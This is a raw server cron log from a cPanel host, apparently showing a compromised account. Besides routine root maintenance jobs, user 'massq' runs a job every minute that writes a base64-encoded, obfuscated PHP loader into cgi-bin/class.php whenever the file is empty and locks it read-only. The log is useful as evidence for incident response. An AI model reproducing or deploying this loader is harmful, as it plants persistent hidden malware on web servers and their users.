Sep  1 11:48:01 server CROND[5877]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:48:01 server CROND[5878]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:48:01 server CROND[5879]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 11:49:01 server CROND[6264]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:49:01 server CROND[6266]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 11:49:01 server CROND[6265]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:50:01 server CROND[6770]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 11:50:01 server CROND[6772]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 11:50:01 server CROND[6778]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 11:50:01 server CROND[6773]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 11:50:01 server CROND[6775]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:50:01 server CROND[6776]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 11:50:01 server CROND[6774]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:50:01 server CROND[6777]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 11:50:01 server CROND[6779]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 11:51:01 server CROND[7660]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:51:01 server CROND[7659]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 11:51:01 server CROND[7661]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:52:01 server CROND[8041]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:52:01 server CROND[8042]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:52:01 server CROND[8043]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 11:53:01 server CROND[8430]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:53:01 server CROND[8431]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:53:01 server CROND[8432]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 11:54:01 server CROND[8836]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 11:54:01 server CROND[8837]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:54:01 server CROND[8838]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:55:01 server CROND[9323]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 11:55:01 server CROND[9325]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 11:55:01 server CROND[9326]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:55:01 server CROND[9328]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 11:55:01 server CROND[9329]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 11:55:01 server CROND[9327]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:55:01 server CROND[9324]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 11:56:01 server CROND[10182]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:56:01 server CROND[10183]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:56:01 server CROND[10184]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 11:57:01 server CROND[10576]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 11:57:01 server CROND[10578]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:57:01 server CROND[10579]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 11:57:01 server CROND[10577]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:58:01 server CROND[10966]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:58:01 server CROND[10967]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:58:01 server CROND[10968]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 11:59:01 server CROND[11367]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:59:01 server CROND[11368]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:59:01 server CROND[11369]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 12:00:01 server CROND[11854]: (root) CMD (/usr/lib64/sa/sa1 1 1)
